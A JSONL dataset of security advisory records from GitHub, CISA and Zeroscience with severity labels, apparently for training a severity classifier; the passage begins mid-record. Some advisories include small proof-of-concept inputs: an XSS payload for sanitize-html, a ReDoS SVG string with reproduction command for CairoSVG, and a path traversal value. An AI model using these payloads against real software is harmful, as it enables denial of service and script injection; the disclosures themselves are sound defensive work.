signatures, the ESDK uses AES-GCM encryption and all plaintext is verified before being released to a caller. There is no impact on the integrity of the ciphertext or decrypted plaintext, however some callers may rely on the the ECDSA signature for non-repudiation. Without validating the ECDSA signature, an actor with trusted KMS permissions to decrypt a message may also be able to encrypt messages. This update introduces a new API for callers who wish to stream only unsigned messages. \n\nFor customers who process ESDK messages from untrusted sources, this update also introduces a new configuration to limit the number of Encrypted Data Keys (EDKs) that the ESDK will attempt to process per message. This configuration provides customers with a way to limit the number of AWS KMS Decrypt API calls that the ESDK will make per message. This setting will reject messages with more EDKs than the configured limit.\n\nFinally, this update adds early rejection of invalid messages with certain invalid combinations of algorithm suite and header data.\n\n### Patches\n\nFixed in versions 1.9 and 2.2. We recommend that all users upgrade to address these issues.\n\nCustomers leveraging the ESDK’s streaming features have several options to protect signature validation. One is to ensure that client code reads to the end of the stream before using released plaintext. With this release, using the new API for streaming and falling back to the non-streaming decrypt API for signed messages prevents using any plaintext from signed data before the signature is validated. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\nUsers processing ESDK messages from untrusted sources should use the new maximum encrypted data keys parameter. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\n### Workarounds\n\nNone\n\n### For more information\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/concepts.html#digital-sigs\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-01", "split": "train"}
-{"id": "cfae3172e0235ab26b50", "text": "Netwrix Auditor 7.1.322.0 ActiveX (sourceFile) Stack Buffer Overflow Vulnerability", "text_raw": "Netwrix Auditor 7.1.322.0 ActiveX (sourceFile) Stack Buffer Overflow Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-03-15", "split": "train"}
-{"id": "bc0cdab72b8c348e70d4", "text": "Code injection in blamer\n\nCode injection vulnerability in blamer 1.0.0 and earlier may result in remote code execution when the input can be controlled by an attacker.", "text_raw": "Code injection in blamer\n\n[Severity: HIGH]\n\nCode injection vulnerability in blamer 1.0.0 and earlier may result in remote code execution when the input can be controlled by an attacker.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "ebca18605cf3054daeba", "text": "Improper type usage in rusqlite\n\nAn issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated via the repr(Rust) type.", "text_raw": "Improper type usage in rusqlite\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated via the repr(Rust) type.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "254f0f6284e6eda0a1be", "text": "Apache CXF Fediz ships with a number of container-specific plugins to enable WS-Federation for applications. A CSRF (Cross Style Request Forgery) style vulnerability has been found in the Spring 2, Spring 3, Jetty 8 and Jetty 9 plugins in Apache CXF Fediz prior to 1.4.0, 1.3.2 and 1.2.4.", "text_raw": "Moderate severity vulnerability that affects org.apache.cxf.fediz:fediz-jetty8, org.apache.cxf.fediz:fediz-jetty9, and org.apache.cxf.fediz:fediz-spring2\n\n[Severity: MEDIUM]\n\nApache CXF Fediz ships with a number of container-specific plugins to enable WS-Federation for applications. A CSRF (Cross Style Request Forgery) style vulnerability has been found in the Spring 2, Spring 3, Jetty 8 and Jetty 9 plugins in Apache CXF Fediz prior to 1.4.0, 1.3.2 and 1.2.4.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "7dbc7bc83d503afe8af9", "text": "FasterXML jackson-databind allows unauthenticated remote code execution\n\nFasterXML jackson-databind before before 2.6.7.5, 2.7.x before 2.7.9.3, 2.8.x before 2.8.11.1, and 2.9.x before 2.9.5 allows unauthenticated remote code execution because of an incomplete fix for the CVE-2017-7525 deserialization flaw. This is exploitable by sending maliciously crafted JSON input to the readValue method of the ObjectMapper, bypassing a blacklist that is ineffective if the c3p0 libraries are available in the classpath.", "text_raw": "FasterXML jackson-databind allows unauthenticated remote code execution \n\n[Severity: CRITICAL]\n\nFasterXML jackson-databind before before 2.6.7.5, 2.7.x before 2.7.9.3, 2.8.x before 2.8.11.1, and 2.9.x before 2.9.5 allows unauthenticated remote code execution because of an incomplete fix for the CVE-2017-7525 deserialization flaw. This is exploitable by sending maliciously crafted JSON input to the readValue method of the ObjectMapper, bypassing a blacklist that is ineffective if the c3p0 libraries are available in the classpath.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "5c67aa229cc3e4692b76", "text": "Authentication Bypass Using an Alternate Path or Channel and Authentication Bypass by Primary Weakness in rucio-webui\n\n### Impact\n`rucio-webui` installations of the `1.26` release line potentially leak the contents of cookies to other sessions within a wsgi container. Impact is that Rucio authentication tokens are leaked to other users accessing the `webui` within a close timeframe, thus allowing users to access the `webui` with the leaked authentication token. Privileges are therefore also escalated.\n\nRucio server / daemons are not affected by this issue, it is isolated to the webui.\n\n### Patches\nThis issue is fixed in the `1.26.7` release of the `rucio-webui`.\n\n### Workarounds\nInstallation of the `1.25.7` `webui` release. The `1.25` and previous webui release lines are not affected by this issue.\n\n### References\nhttps://github.com/rucio/rucio/issues/4928", "text_raw": "Authentication Bypass Using an Alternate Path or Channel and Authentication Bypass by Primary Weakness in rucio-webui\n\n[Severity: HIGH]\n\n### Impact\n`rucio-webui` installations of the `1.26` release line potentially leak the contents of cookies to other sessions within a wsgi container. Impact is that Rucio authentication tokens are leaked to other users accessing the `webui` within a close timeframe, thus allowing users to access the `webui` with the leaked authentication token. Privileges are therefore also escalated.\n\nRucio server / daemons are not affected by this issue, it is isolated to the webui.\n\n### Patches\nThis issue is fixed in the `1.26.7` release of the `rucio-webui`.\n\n### Workarounds\nInstallation of the `1.25.7` `webui` release. The `1.25` and previous webui release lines are not affected by this issue.\n\n### References\nhttps://github.com/rucio/rucio/issues/4928", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-22", "split": "train"}
-{"id": "89ebc11688582df0bf90", "text": "Hard coded cryptographic key in Kiali\n\nA hard-coded cryptographic key vulnerability in the default configuration file was found in Kiali, all versions prior to 1.15.1. A remote attacker could abuse this flaw by creating their own JWT signed tokens and bypass Kiali authentication mechanisms, possibly gaining privileges to view and alter the Istio configuration.", "text_raw": "Hard coded cryptographic key in Kiali\n\n[Severity: HIGH]\n\nA hard-coded cryptographic key vulnerability in the default configuration file was found in Kiali, all versions prior to 1.15.1. A remote attacker could abuse this flaw by creating their own JWT signed tokens and bypass Kiali authentication mechanisms, possibly gaining privileges to view and alter the Istio configuration.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "3dd2fbe8244288806199", "text": "Content object state fetch functions open to SQL injection\n\n### Impact\nThis Security Update is about a vulnerability in eZ Publish Legacy. The content object state code could be vulnerable to SQL injection. There is no known exploit, but one might be possible. If you use Legacy in any way, we strongly recommend that you install this update as soon as possible.\n\n### Patches\nThe fix is distributed via Composer, see \"Patched versions\".", "text_raw": "Content object state fetch functions open to SQL injection\n\n[Severity: HIGH]\n\n### Impact\nThis Security Update is about a vulnerability in eZ Publish Legacy. The content object state code could be vulnerable to SQL injection. There is no known exploit, but one might be possible. If you use Legacy in any way, we strongly recommend that you install this update as soon as possible.\n\n### Patches\nThe fix is distributed via Composer, see \"Patched versions\".\n\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-07", "split": "train"}
-{"id": "04a480ac195788bd112a", "text": "Unsafe deserialization in Yii 2\n\n### Impact\n\nRemote code execution in case application calls `unserialize()` on user input containing specially crafted string.\n\n### Patches\n\n2.0.38\n\n### Workarounds\n\nAdd the following to BatchQueryResult.php:\n\n```php\npublic function __sleep()\n{\n    throw new \\BadMethodCallException('Cannot serialize '.__CLASS__);\n}\n\npublic function __wakeup()\n{\n    throw new \\BadMethodCallException('Cannot unserialize '.__CLASS__);\n}\n```\n\n### For more information\n\nIf you have any questions or comments about this advisory, [contact us through security form](https://www.yiiframework.com/security).", "text_raw": "Unsafe deserialization in Yii 2\n\n[Severity: HIGH]\n\n### Impact\n\nRemote code execution in case application calls `unserialize()` on user input containing specially crafted string.\n\n### Patches\n\n2.0.38\n\n### Workarounds\n\nAdd the following to BatchQueryResult.php:\n\n```php\npublic function __sleep()\n{\n    throw new \\BadMethodCallException('Cannot serialize '.__CLASS__);\n}\n\npublic function __wakeup()\n{\n    throw new \\BadMethodCallException('Cannot unserialize '.__CLASS__);\n}\n```\n\n### For more information\n\nIf you have any questions or comments about this advisory, [contact us through security form](https://www.yiiframework.com/security).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-15", "split": "train"}
-{"id": "2b12882ac77c6502c84c", "text": "Inefficient Regular Expression Complexity in validator.js\n\nvalidator.js prior to 13.7.0 is vulnerable to Inefficient Regular Expression Complexity", "text_raw": "Inefficient Regular Expression Complexity in validator.js\n\n[Severity: MEDIUM]\n\nvalidator.js prior to 13.7.0 is vulnerable to Inefficient Regular Expression Complexity", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-03", "split": "train"}
-{"id": "d5c14652916754763de5", "text": "Denial of Service in mongodb\n\nVersions of `mongodb` prior to 3.1.13 are vulnerable to Denial of Service. The package fails to properly catch an exception when a collection name is invalid and the DB does not exist, crashing the application.\n\n## Recommendation\n\nUpgrade to version 3.1.13 or later.", "text_raw": "Denial of Service in mongodb\n\n[Severity: HIGH]\n\nVersions of `mongodb` prior to 3.1.13 are vulnerable to Denial of Service. The package fails to properly catch an exception when a collection name is invalid and the DB does not exist, crashing the application.\n\n\n## Recommendation\n\nUpgrade to version 3.1.13 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "97dd81790a0e584dbb66", "text": "Path Traversal in socket.io-file\n\nAll versions of `socket.io-file` are vulnerable to Path Traversal. The package fails to sanitize user input and uses it to generate the file upload paths. The `socket.io-file::createFile` message contains a `name` option that is passed directly to `path.join()`.   It is possible to upload files to arbitrary folders on the server by sending relative paths on the `name` value, such as `../../test.js`.  The `uploadDir` and `rename` options can be used to define the file upload path.", "text_raw": "Path Traversal in socket.io-file\n\n[Severity: HIGH]\n\nAll versions of `socket.io-file` are vulnerable to Path Traversal. The package fails to sanitize user input and uses it to generate the file upload paths. The `socket.io-file::createFile` message contains a `name` option that is passed directly to `path.join()`.   It is possible to upload files to arbitrary folders on the server by sending relative paths on the `name` value, such as `../../test.js`.  The `uploadDir` and `rename` options can be used to define the file upload path.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-07", "split": "train"}
-{"id": "800d21eeab1c987b7069", "text": "Django allows unintended model editing\n\nDjango 2.1 before 2.1.15 and 2.2 before 2.2.8 allows unintended model editing. A Django model admin displaying inline related models, where the user has view-only permissions to a parent model but edit permissions to the inline model, would be presented with an editing UI, allowing POST requests, for updating the inline model. Directly editing the view-only parent model was not possible, but the parent model's save() method was called, triggering potential side effects, and causing pre and post-save signal handlers to be invoked. (To resolve this, the Django admin is adjusted to require edit permissions on the parent model in order for inline models to be editable.)", "text_raw": "Django allows unintended model editing\n\n[Severity: HIGH]\n\nDjango 2.1 before 2.1.15 and 2.2 before 2.2.8 allows unintended model editing. A Django model admin displaying inline related models, where the user has view-only permissions to a parent model but edit permissions to the inline model, would be presented with an editing UI, allowing POST requests, for updating the inline model. Directly editing the view-only parent model was not possible, but the parent model's save() method was called, triggering potential side effects, and causing pre and post-save signal handlers to be invoked. (To resolve this, the Django admin is adjusted to require edit permissions on the parent model in order for inline models to be editable.)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-04", "split": "train"}
-{"id": "a91d2665c496ed496513", "text": "XStream is vulnerable to an Arbitrary File Deletion on the local host when unmarshalling as long as the executing process has sufficient rights\n\n### Impact\nThe processed stream at unmarshalling time contains type information to recreate the formerly written objects.  XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed input stream and replace or inject objects, that result in the deletion of a file on the local host. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-21343](https://x-stream.github.io/CVE-2021-21343.html).\n\n### Credits\n钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "XStream is vulnerable to an Arbitrary File Deletion on the local host when unmarshalling as long as the executing process has sufficient rights\n\n[Severity: MEDIUM]\n\n### Impact\nThe processed stream at unmarshalling time contains type information to recreate the formerly written objects.  XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed input stream and replace or inject objects, that result in the deletion of a file on the local host. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-21343](https://x-stream.github.io/CVE-2021-21343.html).\n\n### Credits\n钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-22", "split": "train"}
-{"id": "d6da871fbd4c9712cb41", "text": "Malicious Package in soket.io\n\nAll versions of `soket.io` are considered malicious. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When executed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n## Recommendation\n\nThis package was published to the npm Registry for a very short period of time. If you happen to find it in your environment you should revoke and rotate all credentials  found on the compromised machine, as well as completely erase the affected machine and reinstall your Operating System.", "text_raw": "Malicious Package in soket.io\n\n[Severity: CRITICAL]\n\nAll versions of `soket.io` are considered malicious. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When executed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n\n## Recommendation\n\nThis package was published to the npm Registry for a very short period of time. If you happen to find it in your environment you should revoke and rotate all credentials  found on the compromised machine, as well as completely erase the affected machine and reinstall your Operating System.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "5b7e5e6f00bf8bea2fbb", "text": "HTML Injection in marky-markdown\n\nAll versions of `marky-markdown` are vulnerable to HTML Injection due to a validation bypass. The package only allows iframes where the source is `youtube.com` but it is possible to bypass the validation with sources where `youtube.com` is the sub-domain, such as `youtube.com.evil.co`. This\n\n## Recommendation\n\nThis package is no longer maintained. Please upgrade to `@npmcorp/marky-markdown`", "text_raw": "HTML Injection in marky-markdown\n\n[Severity: MEDIUM]\n\nAll versions of `marky-markdown` are vulnerable to HTML Injection due to a validation bypass. The package only allows iframes where the source is `youtube.com` but it is possible to bypass the validation with sources where `youtube.com` is the sub-domain, such as `youtube.com.evil.co`. This \n\n\n## Recommendation\n\nThis package is no longer maintained. Please upgrade to `@npmcorp/marky-markdown`", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "6972c5b293020a3c1813", "text": "Citrix Workspace Application and Receiver for Windows Remote Code Execution Vulnerability\n\nAffected: Citrix Workspace Application and Receiver for Windows\n\nCitrix Workspace Application and Receiver for Windows contains remote code execution vulnerability resulting from local drive access preferences not being enforced into the clients' local drives.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Citrix Workspace Application and Receiver for Windows Remote Code Execution Vulnerability\n\nAffected: Citrix Workspace Application and Receiver for Windows\n\nCitrix Workspace Application and Receiver for Windows contains remote code execution vulnerability resulting from local drive access preferences not being enforced into the clients' local drives.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "e6d2aaa339aae1abfd68", "text": "Cross-site Scripting in LibreNMS\n\nLibreNMS 21.11.0 is affected by is affected by a Cross Site Scripting (XSS) vulnerability in includes/html/forms/poller-groups.inc.php.", "text_raw": "Cross-site Scripting in LibreNMS\n\n[Severity: MEDIUM]\n\nLibreNMS 21.11.0 is affected by is affected by a Cross Site Scripting (XSS) vulnerability in includes/html/forms/poller-groups.inc.php.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-03", "split": "train"}
-{"id": "009b040ad5da697d69a3", "text": "datasette-graphql leaks details of the schema of private database files\n\n### Impact\n\nWhen running against a Datasette instance with private databases, `datasette-graphql` would expose the schema of those database tables - but not the table contents.\n\n### Patches\n\nPatched in version 1.2.\n\n### Workarounds\n\nThis issue is only present if a Datasette instance that includes private databases and has the `datasette-graphql` plugin installed is available on the public internet. Uninstalling the `datasette-graphql` plugin or preventing public access to the instance can workaround this issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [datasette-graphql](https://github.com/simonw/datasette-graphql)\n* Contact [@simonw](https://twitter.com/simonw) by Twitter direct message", "text_raw": "datasette-graphql leaks details of the schema of private database files\n\n[Severity: LOW]\n\n### Impact\n\nWhen running against a Datasette instance with private databases, `datasette-graphql` would expose the schema of those database tables - but not the table contents.\n\n### Patches\n\nPatched in version 1.2.\n\n### Workarounds\n\nThis issue is only present if a Datasette instance that includes private databases and has the `datasette-graphql` plugin installed is available on the public internet. Uninstalling the `datasette-graphql` plugin or preventing public access to the instance can workaround this issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [datasette-graphql](https://github.com/simonw/datasette-graphql)\n* Contact [@simonw](https://twitter.com/simonw) by Twitter direct message", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-11-24", "split": "train"}
-{"id": "b12b8697e91a747972af", "text": "Cross-Site Scripting in sanitize-html\n\nAffected versions of `sanitize-html` are vulnerable to cross-site scripting.\n\n## Proof of Concept:\n\n`<IMG SRC= onmouseover=\"alert('XSS');\">`\nproduces the following:\n\n`<img src=\"onmouseover=\"alert('XSS');\"\" />`\nThis is definitely invalid HTML, but would suggest that it's being interpreted incorrectly by the parser.\n\n## Recommendation\n\nUpdate to version 1.2.3 or later.", "text_raw": "Cross-Site Scripting in sanitize-html\n\n[Severity: MEDIUM]\n\nAffected versions of `sanitize-html` are vulnerable to cross-site scripting.\n\n## Proof of Concept:\n\n`<IMG SRC= onmouseover=\"alert('XSS');\">`\nproduces the following:\n\n`<img src=\"onmouseover=\"alert('XSS');\"\" />`\nThis is definitely invalid HTML, but would suggest that it's being interpreted incorrectly by the parser.\n\n\n## Recommendation\n\nUpdate to version 1.2.3 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "75ea24a0d7b40e10a52a", "text": "Microsoft MSCOMCTL.OCX Remote Code Execution Vulnerability\n\nAffected: Microsoft MSCOMCTL.OCX\n\nMicrosoft MSCOMCTL.OCX contains an unspecified vulnerability that allows for remote code execution, allowing an attacker to take complete control of an affected system under the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft MSCOMCTL.OCX Remote Code Execution Vulnerability\n\nAffected: Microsoft MSCOMCTL.OCX\n\nMicrosoft MSCOMCTL.OCX contains an unspecified vulnerability that allows for remote code execution, allowing an attacker to take complete control of an affected system under the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "863e9738d83f3b78290e", "text": "fake-static allows converting any reference into a `'static` reference\n\nfake-static allows converting a reference with any lifetime into\na reference with `'static` lifetime without the `unsafe` keyword.\n\nInternally, this crate does not use unsafe code, it instead\nexploits a soundness bug in rustc", "text_raw": "fake-static allows converting any reference into a `'static` reference\n\n[Severity: HIGH]\n\nfake-static allows converting a reference with any lifetime into\na reference with `'static` lifetime without the `unsafe` keyword.\n\nInternally, this crate does not use unsafe code, it instead\nexploits a soundness bug in rustc\n\n\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "543780d9f3f956d3f583", "text": "Deserialization of Untrusted Data in Apache Olingo\n\nApache Olingo versions 4.0.0 to 4.6.0 provide the AbstractService class, which is public API, uses ObjectInputStream and doesn't check classes being deserialized. If an attacker can feed malicious metadata to the class, then it may result in running attacker's code in the worse case.", "text_raw": "Deserialization of Untrusted Data in Apache Olingo\n\n[Severity: CRITICAL]\n\nApache Olingo versions 4.0.0 to 4.6.0 provide the AbstractService class, which is public API, uses ObjectInputStream and doesn't check classes being deserialized. If an attacker can feed malicious metadata to the class, then it may result in running attacker's code in the worse case.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-02-04", "split": "train"}
-{"id": "fd5e4e21688895f49a3d", "text": "Data races in concread\n\nAn issue was discovered in the concread crate before 0.2.6 for Rust. Attackers can cause an ARCache<K,V> data race by sending types that do not implement Send/Sync.", "text_raw": "Data races in concread\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the concread crate before 0.2.6 for Rust. Attackers can cause an ARCache<K,V> data race by sending types that do not implement Send/Sync.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "a266e21cb49b0acdcbca", "text": "Out-of-bounds Read in Pillow\n\nAn issue was discovered in Pillow before 8.2.0. There is an out-of-bounds read in J2kDecode, in j2ku_graya_la.", "text_raw": "Out-of-bounds Read in Pillow\n\n[Severity: HIGH]\n\nAn issue was discovered in Pillow before 8.2.0. There is an out-of-bounds read in J2kDecode, in j2ku_graya_la.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "a6bc80d1bf8212b8135d", "text": "Regular Expression Denial of Service in CairoSVG\n\n# Doyensec Vulnerability Advisory\n\n* Regular Expression Denial of Service (REDoS) in cairosvg\n* Affected Product: CairoSVG v2.0.0+\n* Vendor: https://github.com/Kozea\n** Vulnerability Class: Denial of Service\n* Author(s): Ben Caller ([Doyensec](https://doyensec.com))\n\n## Summary\n\nWhen processing SVG files, the python package CairoSVG uses two regular expressions which are vulnerable to Regular Expression Denial of Service (REDoS).\nIf an attacker provides a malicious SVG, it can make cairosvg get stuck processing the file for a very long time.\n\n## Technical description\n\nThe vulnerable regular expressions are\n\nhttps://github.com/Kozea/CairoSVG/blob/9c4a982b9a021280ad90e89707eacc1d114e4ac4/cairosvg/colors.py#L190-L191\n\nThe section between 'rgb(' and the final ')' contains multiple overlapping groups.\n\nSince all three infinitely repeating groups accept spaces, a long string of spaces causes catastrophic backtracking when it is not followed by a closing parenthesis.\n\nThe complexity is cubic, so doubling the length of the malicious string of spaces makes processing take 8 times as long.\n\n## Reproduction steps\n\nCreate a malicious SVG of the form:\n\n<svg width=\"1\" height=\"1\"><rect fill=\"rgb(                     ;\"/></svg>\n\nwith the following code:\n\n'<svg width=\"1\" height=\"1\"><rect fill=\"rgb(' + (' ' * 3456) + ';\"/></svg>'\n\nNote that there is no closing parenthesis before the semi-colon.\n\nRun cairosvg e.g.:\n\ncairosvg cairo-redos.svg -o x.png\n\nand notice that it hangs at 100% CPU. Increasing the number of spaces increases the processing time with cubic complexity.\n\n## Remediation\n\nFix the regexes to avoid overlapping parts. Perhaps remove the [ \\n\\r\\t]* groups from the regex, and use .strip() on the returned capture group.\n\n## Disclosure timeline\n\n- 2020-12-30: Vulnerability disclosed via email to CourtBouillon", "text_raw": "Regular Expression Denial of Service in CairoSVG\n\n[Severity: HIGH]\n\n# Doyensec Vulnerability Advisory \n\n* Regular Expression Denial of Service (REDoS) in cairosvg\n* Affected Product: CairoSVG v2.0.0+\n* Vendor: https://github.com/Kozea\n* Severity: Medium\n* Vulnerability Class: Denial of Service\n* Author(s): Ben Caller ([Doyensec](https://doyensec.com))\n\n## Summary\n\nWhen processing SVG files, the python package CairoSVG uses two regular expressions which are vulnerable to Regular Expression Denial of Service (REDoS).\nIf an attacker provides a malicious SVG, it can make cairosvg get stuck processing the file for a very long time.\n\n## Technical description\n\nThe vulnerable regular expressions are\n\nhttps://github.com/Kozea/CairoSVG/blob/9c4a982b9a021280ad90e89707eacc1d114e4ac4/cairosvg/colors.py#L190-L191\n\nThe section between 'rgb(' and the final ')' contains multiple overlapping groups.\n\nSince all three infinitely repeating groups accept spaces, a long string of spaces causes catastrophic backtracking when it is not followed by a closing parenthesis.\n\nThe complexity is cubic, so doubling the length of the malicious string of spaces makes processing take 8 times as long.\n\n## Reproduction steps\n\nCreate a malicious SVG of the form:\n\n    <svg width=\"1\" height=\"1\"><rect fill=\"rgb(                     ;\"/></svg>\n\nwith the following code:\n\n    '<svg width=\"1\" height=\"1\"><rect fill=\"rgb(' + (' ' * 3456) + ';\"/></svg>'\n\nNote that there is no closing parenthesis before the semi-colon.\n\nRun cairosvg e.g.:\n\n    cairosvg cairo-redos.svg -o x.png\n\nand notice that it hangs at 100% CPU. Increasing the number of spaces increases the processing time with cubic complexity.\n\n## Remediation\n\nFix the regexes to avoid overlapping parts. Perhaps remove the [ \\n\\r\\t]* groups from the regex, and use .strip() on the returned capture group.\n\n## Disclosure timeline\n\n- 2020-12-30: Vulnerability disclosed via email to CourtBouillon", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-06", "split": "train"}
-{"id": "c486ad467cb32e89a649", "text": "Unauthorized privilege escalation in Mod module\n\n### Impact\nAn unauthorized privilege escalation exploit has been discovered in the Mod module: this exploit allows Discord users with a high privilege level within the guild to bypass hierarchy checks when the application is in a specific condition that is beyond that user's control. By abusing this exploit, it's possible to perform destructive actions within the guild the user has high privileges in.\n\n### Patches\nThis exploit has been fixed on version & ``3.4.1``.\n\n### Workarounds\nUnloading the Mod module with ``unload mod`` __or__, disabling the ``massban`` command with ``command disable global massban`` can render this exploit not accessible. We still highly recommend updating to ``3.4.1`` to completely patch this issue.\n\n### References\n* https://github.com/Cog-Creators/Red-DiscordBot/commit/726bfd38adfdfaef760412a68e01447b470f438b\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Cog-Creators/Red-DiscordBot](https://github.com/Cog-Creators/Red-DiscordBot)\n* Over on our [Discord server](https://discord.gg/red)", "text_raw": "Unauthorized privilege escalation in Mod module\n\n[Severity: MEDIUM]\n\n### Impact\nAn unauthorized privilege escalation exploit has been discovered in the Mod module: this exploit allows Discord users with a high privilege level within the guild to bypass hierarchy checks when the application is in a specific condition that is beyond that user's control. By abusing this exploit, it's possible to perform destructive actions within the guild the user has high privileges in.\n\n### Patches\nThis exploit has been fixed on version & ``3.4.1``.\n\n### Workarounds\nUnloading the Mod module with ``unload mod`` __or__, disabling the ``massban`` command with ``command disable global massban`` can render this exploit not accessible. We still highly recommend updating to ``3.4.1`` to completely patch this issue.\n\n### References\n* https://github.com/Cog-Creators/Red-DiscordBot/commit/726bfd38adfdfaef760412a68e01447b470f438b\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Cog-Creators/Red-DiscordBot](https://github.com/Cog-Creators/Red-DiscordBot)\n* Over on our [Discord server](https://discord.gg/red)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-27", "split": "train"}
-{"id": "4ffa7333c64d39c7429c", "text": "Mosca REDoS Vulnerability\n\nThis vulnerability allows remote attackers to deny service on vulnerable installations of npm mosca 2.8.1. Authentication is not required to exploit this vulnerability. The specific flaw exists within the processing of topics. A crafted regular expression can cause the broker to crash. An attacker can leverage this vulnerability to deny access to the target system.", "text_raw": "Mosca REDoS Vulnerability\n\n[Severity: HIGH]\n\nThis vulnerability allows remote attackers to deny service on vulnerable installations of npm mosca 2.8.1. Authentication is not required to exploit this vulnerability. The specific flaw exists within the processing of topics. A crafted regular expression can cause the broker to crash. An attacker can leverage this vulnerability to deny access to the target system.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-31", "split": "train"}
-{"id": "d58e10301f8e2096cf26", "text": "Prototype pollution in paypal-adaptive\n\npaypal-adaptive through 0.4.2 manipulation of JavaScript objects resulting in Prototype Pollution. The PayPal function could be tricked into adding or modifying properties of Object.prototype using a `__proto__` payload.", "text_raw": "Prototype pollution in paypal-adaptive\n\n[Severity: MEDIUM]\n\npaypal-adaptive through 0.4.2 manipulation of JavaScript objects resulting in Prototype Pollution. The PayPal function could be tricked into adding or modifying properties of Object.prototype using a `__proto__` payload.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
